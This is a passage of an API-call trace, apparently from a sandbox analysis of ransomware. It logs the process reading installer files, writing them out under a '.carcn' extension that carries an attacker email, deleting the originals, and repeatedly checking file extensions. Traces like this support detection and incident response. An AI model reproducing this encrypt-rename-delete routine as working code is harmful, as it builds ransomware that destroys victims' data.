returned -1 [0163.764] lstrlenW (lpString=".7z") returned 3 [0163.764] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0163.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.764] lstrlenW (lpString=".dbf") returned 4 [0163.764] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0163.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.764] lstrlenW (lpString=".1cd") returned 4 [0163.764] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0163.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.764] lstrlenW (lpString=".jpg") returned 4 [0163.764] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0163.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.765] lstrlenW (lpString=".doc") returned 4 [0163.765] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0163.765] lstrlenW (lpString=".docx") returned 5 [0163.765] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0163.765] lstrlenW (lpString=".pdf") returned 4 [0163.765] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0163.765] lstrlenW (lpString=".xls") returned 4 [0163.765] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0163.765] lstrlenW (lpString=".xlsx") returned 5 [0163.765] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0163.765] lstrlenW (lpString=".ppt") returned 4 [0163.765] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0163.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.765] lstrlenW (lpString=".zip") returned 4 [0163.765] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0163.765] lstrlenW (lpString=".rar") returned 4 [0163.765] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0163.765] lstrlenW (lpString=".bz2") returned 4 [0163.765] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0163.765] lstrlenW (lpString=".7z") returned 3 [0163.765] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0163.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.765] lstrlenW (lpString=".dbf") returned 4 [0163.765] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0163.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.765] lstrlenW (lpString=".1cd") returned 4 [0163.765] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0163.765] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.765] lstrlenW (lpString=".jpg") returned 4 [0163.765] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0163.765] lstrcmpiW (lpString1=".msi", lpString2=".carcn") returned 1 [0163.766] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16 [0163.766] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0163.811] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=94720) returned 1 [0163.811] CloseHandle (hObject=0x2fc) returned 1 [0163.811] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0163.812] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.812] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0163.812] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.812] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.812] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0163.812] GetLastError () returned 0x0 [0163.812] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x17200, lpOverlapped=0x0) returned 1 [0163.986] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x17210, lpOverlapped=0x0) returned 1 [0163.988] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0163.988] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf4, lpOverlapped=0x0) returned 1 [0163.988] SetEndOfFile (hFile=0x314) returned 1 [0163.988] CloseHandle (hObject=0x314) returned 1 [0163.990] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.990] SetEndOfFile (hFile=0x2fc) returned 1 [0163.991] CloseHandle (hObject=0x2fc) returned 1 [0163.992] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0163.992] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0163.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.992] lstrlenW (lpString=".doc") returned 4 [0163.992] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0163.992] lstrlenW (lpString=".docx") returned 5 [0163.992] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0163.992] lstrlenW (lpString=".pdf") returned 4 [0163.992] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0163.992] lstrlenW (lpString=".xls") returned 4 [0163.992] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0163.992] lstrlenW (lpString=".xlsx") returned 5 [0163.992] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0163.992] lstrlenW (lpString=".ppt") returned 4 [0163.992] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0163.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.993] lstrlenW (lpString=".zip") returned 4 [0163.993] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0163.993] lstrlenW (lpString=".rar") returned 4 [0163.993] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0163.993] lstrlenW (lpString=".bz2") returned 4 [0163.993] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0163.993] lstrlenW (lpString=".7z") returned 3 [0163.993] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0163.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.993] lstrlenW (lpString=".dbf") returned 4 [0163.993] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0163.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.993] lstrlenW (lpString=".1cd") returned 4 [0163.993] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0163.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.993] lstrlenW (lpString=".jpg") returned 4 [0163.993] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0163.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.993] lstrlenW (lpString=".doc") returned 4 [0163.993] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0163.993] lstrlenW (lpString=".docx") returned 5 [0163.993] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0163.993] lstrlenW (lpString=".pdf") returned 4 [0163.993] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0163.993] lstrlenW (lpString=".xls") returned 4 [0163.993] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0163.993] lstrlenW (lpString=".xlsx") returned 5 [0163.993] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0163.993] lstrlenW (lpString=".ppt") returned 4 [0163.993] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0163.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.993] lstrlenW (lpString=".zip") returned 4 [0163.993] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0163.994] lstrlenW (lpString=".rar") returned 4 [0163.994] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0163.994] lstrlenW (lpString=".bz2") returned 4 [0163.994] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0163.994] lstrlenW (lpString=".7z") returned 3 [0163.994] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0163.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.994] lstrlenW (lpString=".dbf") returned 4 [0163.994] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0163.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.994] lstrlenW (lpString=".1cd") returned 4 [0163.994] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0163.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0163.994] lstrlenW (lpString=".jpg") returned 4 [0163.994] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0163.994] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0163.994] lstrlenW (lpString="Setup.exe") returned 9 [0163.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0163.994] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=78152) returned 1 [0163.994] CloseHandle (hObject=0x2fc) returned 1 [0163.994] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0163.995] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.995] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0163.995] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.995] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.995] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0163.995] GetLastError () returned 0x0 [0163.995] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x13148, lpOverlapped=0x0) returned 1 [0164.069] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x13150, lpOverlapped=0x0) returned 1 [0164.070] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0164.070] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xe6, lpOverlapped=0x0) returned 1 [0164.070] SetEndOfFile (hFile=0x314) returned 1 [0164.071] CloseHandle (hObject=0x314) returned 1 [0164.072] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.072] SetEndOfFile (hFile=0x2fc) returned 1 [0164.073] CloseHandle (hObject=0x2fc) returned 1 [0164.074] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0164.074] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0164.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.074] lstrlenW (lpString=".doc") returned 4 [0164.074] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0164.074] lstrlenW (lpString=".docx") returned 5 [0164.074] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0164.074] lstrlenW (lpString=".pdf") returned 4 [0164.074] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0164.074] lstrlenW (lpString=".xls") returned 4 [0164.074] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0164.074] lstrlenW (lpString=".xlsx") returned 5 [0164.074] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0164.074] lstrlenW (lpString=".ppt") returned 4 [0164.074] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0164.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.074] lstrlenW (lpString=".zip") returned 4 [0164.074] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0164.074] lstrlenW (lpString=".rar") returned 4 [0164.074] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0164.075] lstrlenW (lpString=".bz2") returned 4 [0164.075] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0164.075] lstrlenW (lpString=".7z") returned 3 [0164.075] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0164.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.075] lstrlenW (lpString=".dbf") returned 4 [0164.075] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0164.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.075] lstrlenW (lpString=".1cd") returned 4 [0164.075] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0164.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.075] lstrlenW (lpString=".jpg") returned 4 [0164.075] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0164.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.075] lstrlenW (lpString=".doc") returned 4 [0164.075] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0164.075] lstrlenW (lpString=".docx") returned 5 [0164.075] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0164.075] lstrlenW (lpString=".pdf") returned 4 [0164.075] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0164.075] lstrlenW (lpString=".xls") returned 4 [0164.075] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0164.075] lstrlenW (lpString=".xlsx") returned 5 [0164.075] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0164.075] lstrlenW (lpString=".ppt") returned 4 [0164.075] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0164.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.075] lstrlenW (lpString=".zip") returned 4 [0164.075] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0164.075] lstrlenW (lpString=".rar") returned 4 [0164.075] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0164.075] lstrlenW (lpString=".bz2") returned 4 [0164.075] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0164.076] lstrlenW (lpString=".7z") returned 3 [0164.076] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0164.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.076] lstrlenW (lpString=".dbf") returned 4 [0164.076] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0164.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.076] lstrlenW (lpString=".1cd") returned 4 [0164.076] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0164.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0164.076] lstrlenW (lpString=".jpg") returned 4 [0164.076] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0164.076] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0164.076] lstrlenW (lpString="SetupUi.dll") returned 11 [0164.076] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0164.076] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=295248) returned 1 [0164.076] CloseHandle (hObject=0x2fc) returned 1 [0164.076] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0164.076] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.076] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0164.077] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.077] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.077] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0164.077] GetLastError () returned 0x0 [0164.077] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x48150, lpOverlapped=0x0) returned 1 [0164.139] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x48160, lpOverlapped=0x0) returned 1 [0164.144] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0164.144] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xea, lpOverlapped=0x0) returned 1 [0164.144] SetEndOfFile (hFile=0x314) returned 1 [0164.145] CloseHandle (hObject=0x314) returned 1 [0164.149] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.149] SetEndOfFile (hFile=0x2fc) returned 1 [0164.152] CloseHandle (hObject=0x2fc) returned 1 [0164.152] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0164.152] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0164.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.153] lstrlenW (lpString=".doc") returned 4 [0164.153] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.153] lstrlenW (lpString=".docx") returned 5 [0164.153] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0164.153] lstrlenW (lpString=".pdf") returned 4 [0164.153] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.153] lstrlenW (lpString=".xls") returned 4 [0164.153] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.153] lstrlenW (lpString=".xlsx") returned 5 [0164.153] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0164.153] lstrlenW (lpString=".ppt") returned 4 [0164.153] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.153] lstrlenW (lpString=".zip") returned 4 [0164.153] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.153] lstrlenW (lpString=".rar") returned 4 [0164.153] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.153] lstrlenW (lpString=".bz2") returned 4 [0164.153] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.153] lstrlenW (lpString=".7z") returned 3 [0164.153] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.153] lstrlenW (lpString=".dbf") returned 4 [0164.153] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.153] lstrlenW (lpString=".1cd") returned 4 [0164.153] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.153] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.153] lstrlenW (lpString=".jpg") returned 4 [0164.153] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.154] lstrlenW (lpString=".doc") returned 4 [0164.154] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.154] lstrlenW (lpString=".docx") returned 5 [0164.154] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0164.154] lstrlenW (lpString=".pdf") returned 4 [0164.154] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.154] lstrlenW (lpString=".xls") returned 4 [0164.154] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.154] lstrlenW (lpString=".xlsx") returned 5 [0164.154] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0164.154] lstrlenW (lpString=".ppt") returned 4 [0164.154] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.154] lstrlenW (lpString=".zip") returned 4 [0164.154] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.154] lstrlenW (lpString=".rar") returned 4 [0164.154] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.154] lstrlenW (lpString=".bz2") returned 4 [0164.154] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.154] lstrlenW (lpString=".7z") returned 3 [0164.154] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.154] lstrlenW (lpString=".dbf") returned 4 [0164.154] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.154] lstrlenW (lpString=".1cd") returned 4 [0164.154] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0164.154] lstrlenW (lpString=".jpg") returned 4 [0164.154] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.155] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0164.155] lstrlenW (lpString="SetupUtility.exe") returned 16 [0164.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: 